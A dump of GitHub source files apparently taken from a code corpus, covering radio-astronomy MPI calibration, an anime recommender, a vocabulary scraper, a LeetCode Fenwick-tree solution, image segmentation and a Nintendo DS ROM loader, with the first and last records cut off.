np.mean(r1[i+1][\"data\"][si:ei] - r0[i+1][\"data\"][si:ei]))/(2*np.mean(r1[i+1][\"data\"][si:ei] - r0[i+1][\"data\"][si:ei]))\n Tsys_off_2_s = Tcal[1]*((s1[i+1][\"data\"] + s0[i+1][\"data\"]) - np.mean(s1[i+1][\"data\"][si:ei] - s0[i+1][\"data\"][si:ei]))/(2*np.mean(s1[i+1][\"data\"][si:ei] - s0[i+1][\"data\"][si:ei]))\n \n Tsys_array[0].append(np.mean(Tsys_off_1_r[si:ei]))\n Tsys_array[1].append(np.mean(Tsys_off_1_s[si:ei]))\n Tsys_array[2].append(np.mean(Tsys_off_2_r[si:ei]))\n Tsys_array[3].append(np.mean(Tsys_off_2_s[si:ei]))\n\n\n #System temperature plots\n plt.figure(\"temperature-plots\")\n plt.plot(Tsys_array[0])\n plt.plot(Tsys_array[1])\n plt.plot(Tsys_array[2])\n plt.plot(Tsys_array[3])\n np.save(logs[\"header\"][\"exp_name\"]+\"_s0.npy\",np.asarray(Tsys_array[1]))\n np.save(logs[\"header\"][\"exp_name\"]+\"_r0.npy\",np.asarray(Tsys_array[0]))\n np.save(logs[\"header\"][\"exp_name\"]+\"_s1.npy\",np.asarray(Tsys_array[3]))\n np.save(logs[\"header\"][\"exp_name\"]+\"_r1.npy\",np.asarray(Tsys_array[2]))\n\n plt.savefig(dir + 'results/'+ logs[\"header\"][\"exp_name\"] +'_tsys_plots.png')\n\n poly_array = [list(), list(), list(), list()]\n poly_array[0] = wavTransform(Tsys_array[0], 'rbio1.5', 3)\n poly_array[1] = wavTransform(Tsys_array[1], 'rbio1.5', 3)\n poly_array[2] = wavTransform(Tsys_array[2], 'rbio1.5', 3)\n poly_array[3] = wavTransform(Tsys_array[3], 'rbio1.5', 3)\n\n #Gets the mean value of all system temperature arrays\n Tsys_pol_mean = (np.asarray(Tsys_array[0][:]) + np.asarray(Tsys_array[1][:]) + np.asarray(Tsys_array[2][:]) + np.asarray(Tsys_array[3][:]))/4\n #Calculation of z-score\n z = np.abs(stats.zscore(Tsys_pol_mean)) \n Tsys_outl_thres = 2;\n #Detects where z-score is above threshold.\n outl = np.where(z > Tsys_outl_thres)\n outlier_count = len(outl[0])\n print(\"Tsys outliers found: %d\" % (outlier_count))\n print(outl)\n\n \n\n print(\"Started calibration!\")\n Sf_lefts2 = list() #Resulting flux density spectrum array for left polarization\n Sf_rights2 = list() #Resulting flux density spectrum array for right polarization \n dmged_scans = list() #Stores the detected scans for logging\n\n for i in range(0, len(s0), 2):\n #measure = [s0[i][\"file\"], s0[i+1][\"file\"], r0[i][\"file\"], r0[i+1][\"file\"], s1[i][\"file\"], s1[i+1][\"file\"], r1[i][\"file\"], r1[i+1][\"file\"]]\n \n #If anomaly is not detected in the scan, system temperatures are passed to the calibration process.\n if(int((i/2)+1) not in outl[0]):\n Sf_left2, Sf_right2, frequencyA2 = frequency_shifting(s0[i][\"data\"], s0[i+1][\"data\"], r0[i][\"data\"], r0[i+1][\"data\"], s1[i][\"data\"], s1[i+1][\"data\"], r1[i][\"data\"], r1[i+1][\"data\"], freq, int((i/2)+1), logs)\n else:\n Sf_left2, Sf_right2, frequencyA2 = frequency_shifting(s0[i][\"data\"], s0[i+1][\"data\"], r0[i][\"data\"], r0[i+1][\"data\"], s1[i][\"data\"], s1[i+1][\"data\"], r1[i][\"data\"], r1[i+1][\"data\"], freq, int((i/2)+1), logs, poly_array )\n print(\"Error detected at \", int((i/2)+1))\n #To help in anomaly resolving, timestamp of error is logged.\n err = {\n \"scan\": int((i/2)+1),\n \"timestamp\": logs[str(int((i/2)+1)+1)+\"s0\"][\"date\"]\n }\n dmged_scans.append(err)\n #Each result is individually stored in the array.\n\n Sf_lefts2.append(Sf_left2)\n Sf_rights2.append(Sf_right2)\n\n #Saving results for further use.\n left_polar = np.asarray(Sf_lefts2)\n right_polar = np.asarray(Sf_rights2)\n np.save(logs[\"header\"][\"exp_name\"]+\"_left.npy\",left_polar)\n np.save(logs[\"header\"][\"exp_name\"]+\"_right.npy\",right_polar)\n\n\n #Initializing resulting data array\n Sf_lefts_np2 = np.zeros(len(Sf_lefts2[0]))\n Sf_rights_np2 = np.zeros(len(Sf_rights2[0]))\n\n\n #Combines the arrays\n for s in range(0, len(Sf_lefts2)):\n Sf_lefts_np2 = Sf_lefts_np2 + np.array(Sf_lefts2[s])\n Sf_rights_np2 = Sf_rights_np2 + np.array(Sf_rights2[s])\n\n #Getting the average from all data\n Sf_lefts_np2 /= len(Sf_lefts2)\n Sf_rights_np2 /= len(Sf_rights2)\n\n\n #There are encoding issues for numpy and json formats, so it's converted to list\n left = list(Sf_lefts_np2)\n right = list(Sf_rights_np2)\n \n #add local oscilator value to resulting frequency\t\n frequencyA2= [x + float(logs[\"header\"][\"f_obs,LO,IF\"][1]) for x in frequencyA2]\n\n\n\n\n #Dictionary for json\n avgarray = {}\n avgarray[\"left\"] = left\n avgarray[\"right\"] = right\n avgarray[\"xaxis\"]= list(frequencyA2)\n \n #save to json file\n with open(dir + 'results/'+ logs[\"header\"][\"exp_name\"] +'_raw.json', 'w') as outfile:\n json.dump(avgarray, outfile) \n #save to dat type file\n with open(dir + 'results/'+ logs[\"header\"][\"exp_name\"]+\"_raw.dat\", \"w\") as data_file:\n for i in range(len(frequencyA2[si:ei])):\n data_file.write(\"%f %f %f\\n\" % (frequencyA2[si:ei][i], left[i], right[i]))\n \n #Stops the logging timer\n endtime = time.localtime()\n\n #Extra information for logs\n warnings = list()\n if(outlier_count != 0):\n warnings.append(\"Damaged scans detected!\")\n if(files != int(logs[\"header\"][\"N_scans,N_cal\"][0])*8):\n warnings.append(\"File count does not match predicted!\")\n\n\n #Logging data json dictionary data\n rez_logs = {}\n rez_logs[\"exp_name\"]= logs[\"header\"][\"exp_name\"]\n rez_logs[\"start_time\"]= time.strftime(\"%Y-%m-%dT%H:%M:%S\", starttime)\n rez_logs[\"end_time\"] = time.strftime(\"%Y-%m-%dT%H:%M:%S\", endtime)\n rez_logs[\"cores\"] = comm.size\n rez_logs[\"file_count\"] = files\n rez_logs[\"scan_count\"] = logs[\"header\"][\"N_scans,N_cal\"][0]\n rez_logs[\"exp_start\"] = logs[\"1s0\"][\"date\"]\n rez_logs[\"exp_end\"] = logs[str(list(logs.keys())[-1])][\"date\"]\n rez_logs[\"anomalies\"] = outlier_count\n if(outlier_count != 0):\n rez_logs[\"errors\"] = dmged_scans\n\n if(len(warnings) != 0):\n rez_logs[\"warnings\"] = warnings\n #saving the logs\n with open(dir + 'results/'+ logs[\"header\"][\"exp_name\"] +'_calibr_log.json', 'w') as outfile:\n json.dump(rez_logs, outfile, indent=4) \n #Stops the process.\n barrier(comm)\n #barrier(comm)\n else:\n #Tells the other processes that there are not enough raw data to process, to shut them down.\n comm.send(\"NO_RAW\", dest=1, tag=0)\n #Stops the process.\n barrier(comm)\n\n#Following if statement gets executed for only the management process\nif (rank == 1):\n files = comm.recv(source=0,tag=0) #Fetches file list\n status = [1]*comm.size #Checks initialized amount of processes and creates an array for them\n status[0] = 0 #Calibration process\n status[1] = 0 #Management process\n status[2] = 0 #Dat file process\n #print(status)\n allBusy = False\n \n\n\n #If there are no raw data in directory, there is no reason to communicate with other threads.\n if(files != \"NO_RAW\"):\n #To assist in process synchronization and to check connections a message is sent to all threads that are not busy.\n for proc in range(2,len(status)):\n comm.send(\"INIT\", dest=proc,tag=9998)\n\n #Iterates over file list, sending each file out.\n for i in range(0,len(files)):\n fileSent = False #Flag to check file status\n fileName=files.pop(0) #Pop is used to prevent file processing repetitions.\n while(not fileSent):\n available = np.where(status) #where function returns tuple of which boolean variables are True, which is useful since 1 and 0 values are used.\n #If all processes are busy, wait for response from other threads.\n if(len(available[0]) == 0):\n allBusy = True\n while(allBusy):\n process = comm.recv( tag=9999)\n #print(process, \" is done\")\n status[process] = 1 #Recv function returns the process ID when assigned to a variable, so it's used to determine which process is free\n allBusy = False \n #break\n #print(\"allBusy false\") \n else:\n #File gets sent to the first available process\n comm.send(fileName, dest=available[0][0])\n fileSent=True\n status[available[0][0]] = 0 #To prevent the process getting called again before data processing is finished.\n #break\n \n print(\"All files sent!\")\n #Since there is no way for other threads to tell if a process is finished or not, a command is sent to other threads which will trigger process finish.\n for process in range(1,len(status)):\n comm.send(\"DONE\", dest=process, tag=10000)\n #Prevents idle \n barrier(comm)\n\n\n#Following if statement gets executed if process is not the management or calibration process.\nif(rank !=0 and rank != 1):\n data = list() #Stores processed raw data results\n #Since the dat data process will join others to process raw data, it makes sense to put it with the other processes.\n #Data processing is very similar to process rank 0, so only things relevant to only dat file processing are explained.\n if(rank == 2):\n dir = getArgs(\"dir\")\n q = list()\n #Selects all dat files in directory\n for file in sorted(glob.glob(dir + \"/*.dat\")):\n q.append(file)\n\n files = len(q)\n index = 0\n fileNR = 0\n\n\n\n Sf_lefts2 = []\n Sf_rights2 = []\n \n freq = np.loadtxt(q[0], usecols=(0,), unpack=True) #Since the frequency range is already written in the dat files\n #freq = np.array(freqlist)\n\n df_div = float(logs[\"header\"][\"df_div,df\"][0])\n #df_div = float(logs[\"header\"][\"frst,f0,LO,IF,df_div\"][4])\n\n BW = float(logs[\"header\"][\"Fs,Ns,RBW\"][0])\n f_shift = BW / df_div\n l_spec = len(freq)\n f_step = (freq[l_spec - 1] - freq[0]) / (l_spec - 1)\n n_shift = int(np.rint(f_shift / f_step))\n avg_interval = 0.5 # inner 50%\n si = int(l_spec / 2 - l_spec * avg_interval / 2)\n ei = int(l_spec / 2 + l_spec * avg_interval / 2)\n\n plt.figure()\n plt.suptitle(logs[\"header\"][\"exp_name\"] + \" dat data plot\")\n freq_lo= [x + float(logs[\"header\"][\"f_obs,LO,IF\"][1]) for x in freq]\n \n\n while(q):\n \n index +=1\n\n #Since in dat format, data is described in format: \n # Frequency value Left amplitude value Right amplitude value\n #there is only 4 files total. They are taken out of a queue, to prevent data processing errors.\n file2 = q.pop(0)\n file4 = q.pop(0)\n file1 = q.pop(0)\n file3 = q.pop(0)\n\n fileNR=fileNR+8\n\n #print(file1, file2, file3, file4)\n #Each spectrum is loaded\n p_sig_left = np.loadtxt(file1, usecols=(1,), unpack=True)\n p_ref_left = np.loadtxt(file2, usecols=(1,), unpack=True)\n p_sig_on_left = np.loadtxt(file3, usecols=(1,), unpack=True)\n p_ref_on_left =np.loadtxt(file4, usecols=(1,), unpack=True)\n\n\n p_sig_right = np.loadtxt(file1, usecols=(2,), unpack=True)\n p_ref_right = np.loadtxt(file2, usecols=(2,), unpack=True)\n p_sig_on_right = np.loadtxt(file3, usecols=(2,), unpack=True)\n p_ref_on_right = np.loadtxt(file4, usecols=(2,), unpack=True)\n\n #shifting values \n p_sig_right = np.fft.fftshift(p_sig_right)\n p_ref_right = np.fft.fftshift(p_ref_right)\n p_sig_on_right = np.fft.fftshift(p_sig_on_right)\n p_ref_on_right = np.fft.fftshift(p_ref_on_right)\n\n p_sig_left = np.fft.fftshift(p_sig_left)\n p_ref_left = np.fft.fftshift(p_ref_left)\n p_sig_on_left = np.fft.fftshift(p_sig_on_left)\n p_ref_on_left = np.fft.fftshift(p_ref_on_left)\n\n #Plotting results\n plt.subplot(121)\n plt.plot(freq_lo, p_sig_left)\n plt.plot(freq_lo, p_ref_left)\n plt.plot(freq_lo, p_sig_on_left)\n plt.plot(freq_lo, p_ref_on_left)\n\n plt.subplot(122)\n plt.plot(freq_lo, p_sig_right)\n plt.plot(freq_lo, p_ref_right)\n plt.plot(freq_lo, p_sig_on_right)\n plt.plot(freq_lo, p_ref_on_right)\n\n #calibration\n Sf_left2, Sf_right2, frequencyA2 = frequency_shifting(p_sig_left, p_sig_right, p_ref_left, p_ref_right,p_sig_on_left, p_sig_on_right, p_ref_on_left, p_ref_on_right, freq, index, logs)\n Sf_lefts2.append(Sf_left2)\n Sf_rights2.append(Sf_right2)\n\n plt.subplot(121)\n plt.title('LCP')\n plt.xlabel(\"Frequency (MHz) with LO\")\n plt.ylabel(\"Amplitude\")\n plt.grid(True)\n plt.subplot(122)\n plt.xlabel(\"Frequency (MHz) with LO\")\n #plt.ylabel(\"Amplitude\")\n plt.title('RCP')\n plt.grid(True)\n\n plt.savefig(dir + 'results/'+ logs[\"header\"][\"exp_name\"] +'_dat_plots.png')\n\n #print(Sf_lefts2)\n left_polar = np.asarray(Sf_lefts2)\n right_polar = np.asarray(Sf_rights2)\n\n Sf_rights_np2 = np.zeros(len(Sf_rights2[0]))\n Sf_lefts_np2 = np.zeros(len(Sf_lefts2[0]))\n errs = 0\n #Because of system temperature calculation difficulities, currently anomaly detection is not implemented for dat format.\n #Resulting calibration data mean value is checked for failed scan detection, detected scans are not taken into the total result.\n for s in range(0, len(Sf_lefts2)):\n if(np.abs(np.mean(Sf_lefts2[s])) < 2 and np.abs(np.mean(Sf_rights2[s])) < 2):\n Sf_lefts_np2 = Sf_lefts_np2 + np.array(Sf_lefts2[s])\n Sf_rights_np2 = Sf_rights_np2 + np.array(Sf_rights2[s])\n else:\n errs = errs+1\n\n #average\n Sf_lefts_np2 = Sf_lefts_np2 / (len(Sf_lefts2) -errs )\n Sf_rights_np2 = Sf_rights_np2 / (len(Sf_rights2) -errs )\n\n left = list(Sf_lefts_np2)\n right = list(Sf_rights_np2)\n \n #add local oscilator value to resulting frequency\t\n frequencyA2= [x + float(logs[\"header\"][\"f_obs,LO,IF\"][1]) for x in frequencyA2]\n\n #dictionary for json\n plt.figure()\n avgarray = {}\n avgarray[\"left\"] = left\n avgarray[\"right\"] = right\n avgarray[\"xaxis\"]= list(frequencyA2)\n plt.subplot(121)\n plt.plot(frequencyA2,left)\n plt.ylabel(\"Flux density (Jy)\")\n plt.xlabel(\"Frequency (MHz)\")\n plt.grid(True)\n plt.subplot(122)\n plt.xlabel(\"Frequency (MHz)\")\n plt.plot(frequencyA2,right)\n plt.grid(True)\n #plt.show()\n plt.savefig(dir + '/results/'+ logs[\"header\"][\"exp_name\"] +'_dat.png')\n\n\n #save to json file\n\n print(\"Saving result to: \", dir + '/results/'+ logs[\"header\"][\"exp_name\"] +'_dat.json')\n with open(dir + '/results/'+ logs[\"header\"][\"exp_name\"] +'_dat.json', 'w') as outfile:\n json.dump(avgarray, outfile) \n\n\n\n with open(dir + '/results/'+ logs[\"header\"][\"exp_name\"]+\"_dat.dat\", \"w\") as data_file:\n for i in range(len(frequencyA2)):\n data_file.write(\"%f %f %f\\n\" % (frequencyA2[i], left[i], right[i]))\n \n\n\n print(\"DAT calibration done!\")\n comm.send(comm.Get_rank(), dest=1, tag=9999)\n #Starts raw data processing.\n\n #barrier(comm)\n \n #Each raw data process keeps working until an end signal is recieved. \n #While using while True loops is usually not the best practice, there are technical issues with other types of loop conditions, \n # since the end condition is somewhat similar to the promise system in some of the web app languages.\n while(True):\n #Gets the message from management process\n file = comm.recv(source=1)\n\n #Checks the communication between processes.\n if(file == \"INIT\"):\n print(comm.Get_rank(), \" initalized!\")\n comm.send(comm.Get_rank(), dest=1, tag=9999)\n #Way to establish a way for the process to end its work, since there is no way for it to know about the amount of remaining work.\n elif(file == \"DONE\"):\n comm.send(data, dest=0, tag=10001)\n break\n #An actual file name gets sent\n else: \n #For control\n print(comm.Get_rank(), \"recieved\", file)\n \n raw = read_raw(file)\n #saves result in a dictionary\n result = {\n \"file\": file,\n \"data\": raw\n }\n #Each process stores all of its processed data.\n data.append(result)\n #When data processing is done, a message is sent to management process.\n comm.send(comm.Get_rank(), dest=1, tag=9999)\n\n #Process ends its lifespan. \n print(comm.Get_rank(), \" recieved DONE.\")\n barrier(comm)\n\n\n\n","repo_name":"dot361/Weak-radio-signal-data-processing","sub_path":"scripts/MPI_calibr_v2.py","file_name":"MPI_calibr_v2.py","file_ext":"py","file_size_in_byte":35642,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"29"} +{"seq_id":"26879352192","text":"\"\"\"CSC111 Final Project: My Anime Recommendations\r\n==========================================================\r\nmain.py\r\n==========================================================\r\n@authors: Tu Pham, Tahseen Rana, Raazia Hashim, Meet Patel.\r\n\"\"\"\r\n# Imports for evaluating recommendation techniques.\r\nfrom distance_measures import *\r\nfrom recommender_evaluation import get_recommender_evaluations\r\n\r\nfrom application import Application\r\nfrom recommendation_engine import RecommendationEngine\r\nfrom graph_visualization import present_evaluation_chart\r\n\r\n\r\ndef present_evaluation_data(engine: RecommendationEngine) -> None:\r\n \"\"\"Present the graph and the data related to the efficiency of different\r\n recommendation techniques on web browser.\"\"\"\r\n #####################################################################################\r\n # The actual code to obtain the evaluation data of different recommendation methods.#\r\n # Not recommended since it may take about 8 minutes. #\r\n #####################################################################################\r\n # measures = [euclidean_distance, manhattan_distance, minkowski_distance,\r\n # jaccard_distance, 'custom', 'graph-based jaccard distance']\r\n # eval_data = get_recommender_evaluations(measures, engine)\r\n # accuracies = [(datum[0], datum[1]) for datum in eval_data]\r\n # running_times = [(datum[0], datum[2]) for datum in eval_data]\r\n\r\n accuracies = [('euclidean_distance', 97), ('manhattan_distance', 97),\r\n ('minkowski_distance', 97), ('jaccard_distance', 243), ('custom', 143),\r\n ('graph-based jaccard distance', 245), ('content-filtering by genre', 73),\r\n ('always return most popular animes', 214)]\r\n running_times = [('euclidean_distance', 109.1411967), ('manhattan_distance', 111.5982133),\r\n ('minkowski_distance', 242.494143), ('jaccard_distance', 82.0985478),\r\n ('custom', 5.879013700000087),\r\n ('graph-based jaccard distance', 8.566181200000074),\r\n ('content-filtering by genre', 5.600600399999962),\r\n ('always return most popular animes', 1.2133598000000347)]\r\n\r\n present_evaluation_chart(accuracies, 'accuracy')\r\n present_evaluation_chart(running_times, 'running time')\r\n\r\n\r\nif __name__ == '__main__':\r\n app = Application('Data/animes.csv', 'Data/profiles.csv', 'Data/reviews.csv')\r\n\r\n # For presenting the graph and the bar charts associated with recommender efficiency.\r\n # This code may take 2 minutes and it is not needed to run the app.\r\n # recommender = app.recommender\r\n # recommender.visualize_graph(5000)\r\n # present_evaluation_data(recommender)\r\n\r\n app.run()\r\n","repo_name":"Mondlicht1/MyAnimeRecommendations","sub_path":"main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":2803,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"29"} +{"seq_id":"13018521946","text":"def fibanacci_series(x):\r\n a=0\r\n b=1\r\n print(a,b)\r\n for i in range(1,x):\r\n next=a+b\r\n a=b\r\n b=next\r\n print(next)\r\n\r\nn=int(input(\"Enter the number\"))\r\nfibanacci_series(n)","repo_name":"MatheshSuresh/Python-Programs","sub_path":"fibanacci series.py","file_name":"fibanacci series.py","file_ext":"py","file_size_in_byte":209,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"29"} +{"seq_id":"74676744719","text":"from bs4 import BeautifulSoup\nimport urllib.request\nimport ssl\nimport certifi\nimport xlwt\nfrom xlwt import Workbook\nwebsite_url = 'https://burningvocabulary.com/blog/hsk-6-vocabulary-list/'\nvocabulary_name = 'HSK 6'\noutput_name = vocabulary_name + '.xls'\n\nfp = urllib.request.urlopen(website_url, context=ssl.create_default_context(cafile=certifi.where()))\nmybytes = fp.read()\nhtml_doc = mybytes.decode(\"utf8\")\nfp.close()\n\nwb = Workbook()\nsheet = wb.add_sheet('vocabulary')\nsheet.write(0, 0, 'id')\nsheet.write(0, 1, 'word_content')\nsheet.write(0, 2, 'pronunciation')\nsheet.write(0, 3, 'meaning')\nsheet.write(0, 4, 'wordbook')\nsheet.write(0, 5, 'part')\nsheet.write(0, 6, 'example1')\nsheet.write(0, 7, 'example_pronunciation1')\nsheet.write(0, 8, 'example_meaning1')\nsheet.write(0, 9, 'example2')\nsheet.write(0, 10, 'example_pronunciation2')\nsheet.write(0, 11, 'example_meaning2')\n\nsoup = BeautifulSoup(html_doc, 'html.parser')\ntable = soup.find('table')\ntrs = table.tbody.find_all('tr')\nrow = 1\nfor tr in trs:\n tds = tr.find_all('td')\n print(f'parsing: {tds[0].text}: {tds[1].text}')\n sheet.write(row, 0, tds[0].text)\n sheet.write(row, 1, tds[1].text)\n sheet.write(row, 2, tds[2].text)\n sheet.write(row, 3, tds[3].text)\n sheet.write(row, 4, vocabulary_name)\n row += 1\nwb.save(output_name)\n ","repo_name":"beedrill/modify_words_in_excel","sub_path":"get_data.py","file_name":"get_data.py","file_ext":"py","file_size_in_byte":1315,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"29"} +{"seq_id":"11056489673","text":"import sys\n\nimport logging\nlogger = logging.getLogger(__name__)\n\ndef logging_setup():\n \"\"\" Set logging\n \"\"\"\n ch = logging.StreamHandler(sys.stdout)\n formatter = logging.Formatter('%(asctime)s - %(name)s - %(levelname)s - %(message)s')\n ch.setFormatter(formatter)\n\n _set_log(\"cogsciabc\", logging.INFO, [ch])\n _set_log(\"elfi\", logging.INFO, [ch])\n _set_log(\"elfi.methods\", logging.DEBUG, [ch])\n _set_log(\"elfie\", logging.INFO, [ch])\n _set_log(\"elfie.mpi\", logging.INFO, [ch])\n _set_log(\"elfie.acquisition\", logging.DEBUG, [ch])\n _set_log(\"elfie.bolfi_extensions\", logging.DEBUG, [ch])\n _set_log(\"elfirl\", logging.INFO, [ch])\n\ndef _set_log(name, level, handlers):\n l = logging.getLogger(name)\n l.setLevel(level)\n l.propagate = False\n l.handlers = handlers\n\n","repo_name":"akangasr/cogsciabc","sub_path":"cogsciabc/log.py","file_name":"log.py","file_ext":"py","file_size_in_byte":805,"program_lang":"python","lang":"en","doc_type":"code","stars":3,"dataset":"github-code","pt":"29"} +{"seq_id":"70732982480","text":"#\n# @lc app=leetcode id=307 lang=python3\n#\n# [307] Range Sum Query - Mutable\n#\n# https://leetcode.com/problems/range-sum-query-mutable/description/\n#\n# algorithms\n# Medium (38.60%)\n# Likes: 2660\n# Dislikes: 143\n# Total Accepted: 178.3K\n# Total Submissions: 461.7K\n# Testcase Example: '[\"NumArray\",\"sumRange\",\"update\",\"sumRange\"]\\n[[[1,3,5]],[0,2],[1,2],[0,2]]'\n#\n# Given an integer array nums, handle multiple queries of the following\n# types:\n# \n# \n# Update the value of an element in nums.\n# Calculate the sum of the elements of nums between indices left and right\n# inclusive where left <= right.\n# \n# \n# Implement the NumArray class:\n# \n# \n# NumArray(int[] nums) Initializes the object with the integer array nums.\n# void update(int index, int val) Updates the value of nums[index] to be\n# val.\n# int sumRange(int left, int right) Returns the sum of the elements of nums\n# between indices left and right inclusive (i.e. nums[left] + nums[left + 1] +\n# ... + nums[right]).\n# \n# \n# \n# Example 1:\n# \n# \n# Input\n# [\"NumArray\", \"sumRange\", \"update\", \"sumRange\"]\n# [[[1, 3, 5]], [0, 2], [1, 2], [0, 2]]\n# Output\n# [null, 9, null, 8]\n# \n# Explanation\n# NumArray numArray = new NumArray([1, 3, 5]);\n# numArray.sumRange(0, 2); // return 1 + 3 + 5 = 9\n# numArray.update(1, 2); // nums = [1, 2, 5]\n# numArray.sumRange(0, 2); // return 1 + 2 + 5 = 8\n# \n# \n# \n# Constraints:\n# \n# \n# 1 <= nums.length <= 3 * 10^4\n# -100 <= nums[i] <= 100\n# 0 <= index < nums.length\n# -100 <= val <= 100\n# 0 <= left <= right < nums.length\n# At most 3 * 10^4 calls will be made to update and sumRange.\n# \n# \n#\n\n# @lc code=start\nclass NumArray:\n\n def __init__(self, nums: List[int]):\n self.binary_indexed_tree = [0]*len(nums)\n self.origin_list = [0]*len(nums)\n for i,n in enumerate(nums):\n self.update(i,n)\n \n\n def update(self, index: int, val: int) -> None:\n delta = val - self.origin_list[index]\n self.origin_list[index] = val\n if index ==0:\n self.binary_indexed_tree[0]= val\n index+=1\n while index<len(self.binary_indexed_tree):\n self.binary_indexed_tree[index]+=delta\n index = index + (index&-index)\n\n def sumRange(self, left: int, right: int) -> int:\n if right ==0:\n return self.binary_indexed_tree[0]\n result = 0\n if left>0:\n if left ==1:\n result-=self.binary_indexed_tree[0]\n else:\n left = left-1\n while left>0:\n result-=self.binary_indexed_tree[left]\n left-=(left&-left)\n \n while right>0:\n result+=self.binary_indexed_tree[right]\n right-=(right&-right)\n \n return result\n\n\n\n\n# Your NumArray object will be instantiated and called as such:\n# obj = NumArray(nums)\n# obj.update(index,val)\n# param_2 = obj.sumRange(left,right)\n# @lc code=end\n\n","repo_name":"a7744hsc/LeetCode-Solutions","sub_path":"LeetCode-python/307.range-sum-query-mutable.py","file_name":"307.range-sum-query-mutable.py","file_ext":"py","file_size_in_byte":2936,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"29"} +{"seq_id":"34381996150","text":"#%%\r\nimport chainer\r\nfrom chainer import cuda\r\nfrom chainercv import evaluations\r\nfrom chainer import cuda\r\nimport cupy\r\nimport numpy as np\r\nimport PIL\r\n\r\n\r\nfrom model_2 import FCNN\r\nimport chainer.links as L\r\ncls_label_Red = [0, # Background\r\n 255, # Person\r\n 0, # Car\r\n 69, # Lane\r\n 255]# Signals\r\ncls_label_Green = [0, # Background\r\n 0, # Person\r\n 0, # Car\r\n 47, # Lane\r\n 255]# Signals\r\ncls_label_Blue = [0, # Background\r\n 0, # Person\r\n 255, # Car\r\n 142, # Lane\r\n 0]# Signals \r\n\r\ndef evaluate():\r\n model = FCNN(256, 256, 5)\r\n model = L.Classifier(model)\r\n\r\n chainer.serializers.load_npz(\"./result/snapshot_epoch-48\", model, path='updater/model:main/')\r\n \r\n # img = PIL.Image.open(\"./data/seg_train_images/seg_train_images/train_0005.jpg\")\r\n img = PIL.Image.open('./data/seg_test_images/seg_test_images/test_191.jpg')\r\n \r\n img = img.resize((256, 256))\r\n img = np.array(img, dtype=\"float32\")\r\n \r\n img = img / 255.0\r\n img = np.reshape(img, (1, 256, 256, 3))\r\n img = img.transpose(0, 3, 1, 2)\r\n \r\n with chainer.using_config('train', False), chainer.using_config('enable_backprop', False):\r\n pred = model.predictor(img)\r\n pred_trans = chainer.functions.argmax(pred, axis=1)\r\n\r\n return pred_trans\r\n\r\ndef segmentation(array, cls_labels):\r\n \r\n for idx, pix_val in enumerate(cls_labels):\r\n array = np.where(array == idx, int(pix_val), array) \r\n\r\n array = np.reshape(array, (256, 256))\r\n return array\r\n\r\n#%%\r\ntmp = evaluate()\r\nprint(tmp.shape)\r\noutput = tmp.array\r\n#output = cuda.to_cpu(output)\r\noutput = np.array(output)\r\nimg_r = segmentation(output, cls_label_Red)\r\nimg_g = segmentation(output, cls_label_Green)\r\nimg_b = segmentation(output, cls_label_Blue)\r\n\r\nimg_rgb = np.dstack((img_r, img_g))\r\nimg_rgb = np.dstack((img_rgb, img_b))\r\n\r\nimg = PIL.Image.fromarray(np.uint8(img_rgb))\r\nimg.save('./img_seg_test191.png')\r\n\r\n#%%\r\n","repo_name":"yuki1125/segmentation","sub_path":"main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":2095,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"29"} +{"seq_id":"1935904864","text":"import usb.core\nimport usb.util\nimport binascii\nimport struct\nimport time\nimport sys\n\nfrom util import fromhex, tohex, tohex_short, read_file\nfrom device import NitroDevice\n\ndef main():\n if len(sys.argv) != 2:\n print(\"Usage: nitro.py romfile.nds\")\n return\n romfile = sys.argv[1]\n\n d = NitroDevice()\n\n d.full_reset()\n\n d.nds_stop()\n\n d.slot1_write(0, read_file(romfile))\n\n debugrom = read_file('debugrom/debugrom.bin')\n d.slot1_write(0x0ff80000, debugrom)\n\n debugrom_len = len(debugrom)\n if debugrom_len & 0x1ff:\n debugrom_len &= ~0x1ff\n debugrom_len += 0x200\n d.slot1_write(0x160, struct.pack('IIII', 0x8ff80000, debugrom_len, 0x02700000, 0x02700004)) # Overwrite debug ROM pointers in header.\n\n d.slot1_on()\n\n d.nds_reset()\n\n\nif __name__ == '__main__':\n main()\n","repo_name":"Dirbaio/NitroDriver","sub_path":"nitro.py","file_name":"nitro.py","file_ext":"py","file_size_in_byte":832,"program_lang":"python","lang":"en","doc_type":"code","stars":16,"dataset":"github-code","pt":"29"} +{"seq_id":"35799607487","text":"\"\"\" Module containing classes and routines used in training of policies.\n\"\"\"\nimport os\n\nimport numpy as np\nfrom tensorflow.keras.layers import Dense, Dropout\nfrom tensorflow.keras.models import Sequential\nfrom tensorflow.keras.optimizers import Adam\nfrom tensorflow.keras.utils import Sequence\nfrom tensorflow.keras.callbacks import (\n EarlyStopping,\n CSVLogger,\n ModelCheckpoint,\n ReduceLROnPlateau,\n)\nfrom tensorflow.keras import regularizers\nfrom sklearn.utils import shuffle\nfrom scipy import sparse\n\nfrom aizynthfinder.utils.keras_utils import top10_acc, top50_acc\n\n\nclass _InMemorySequence(Sequence):\n def __init__(self, config, dataset_label):\n self.batch_size = config[\"batch_size\"]\n input_filename = config.filename(dataset_label + \"_inputs\")\n label_filename = config.filename(dataset_label + \"_labels\")\n self.input_matrix = self._load_data(input_filename)\n self.label_matrix = self._load_data(label_filename)\n self.input_dim = self.input_matrix.shape[1]\n\n def __len__(self):\n return int(np.ceil(self.label_matrix.shape[0] / float(self.batch_size)))\n\n def _load_data(self, filename):\n try:\n return sparse.load_npz(filename)\n except ValueError:\n return np.load(filename)[\"arr_0\"]\n\n def _make_slice(self, idx):\n if idx < 0 or idx >= len(self):\n raise IndexError(\"index out of range\")\n\n start = idx * self.batch_size\n end = (idx + 1) * self.batch_size\n return slice(start, end)\n\n\nclass RolloutModelSequence(_InMemorySequence):\n \"\"\"\n Custom sequence class to keep sparse, pre-computed matrices in memory.\n Batches are created dynamically by slicing the in-memory arrays\n The data will be shuffled on each epoch end\n\n :ivar batch_size: the batch size as read from config\n :vartype batch_size: int\n :ivar input_matrix: the loaded input matrix\n :vartype input_matrix: 